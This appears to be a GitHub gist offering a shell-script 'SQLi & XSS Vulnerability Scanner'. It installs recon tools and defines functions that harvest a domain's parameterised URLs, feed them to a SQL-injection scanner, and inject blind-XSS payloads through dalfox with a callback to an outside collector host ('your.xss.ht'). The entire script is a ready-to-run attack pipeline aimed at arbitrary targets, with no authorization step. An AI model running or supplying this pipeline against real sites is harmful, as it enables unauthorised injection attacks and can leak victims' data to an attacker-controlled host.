Skip to content

Instantly share code, notes, and snippets.

@dwisiswant0
Created May 27, 2020 07:38
Show Gist options
  • Save dwisiswant0/c133bebc2f413766e3cc3d15fdcfd36d to your computer and use it in GitHub Desktop.
Save dwisiswant0/c133bebc2f413766e3cc3d15fdcfd36d to your computer and use it in GitHub Desktop.
SQLi & XSS Vulnerability Scanner
###
# ▶ go get -u github.com/lc/gau
# ▶ go get -u github.com/tomnomnom/qsreplace
# ▶ go get -u github.com/tomnomnom/hacks/kxss
# ▶ go get -u github.com/hahwul/dalfox
# ▶ git clone https://github.com/dwisiswant0/DSSS
###
gauq() {
gau $1 -subs | \
grep "=" | \
egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt|js)" | \
qsreplace -a
}
sqliz() {
gauq $1 | python3 $HOME/Tools/DSSS/dsss.py
}
bxss() {
BLIND="https://your.xss.ht"
gauq $1 | kxss | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | \
dalfox pipe -b $BLIND
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment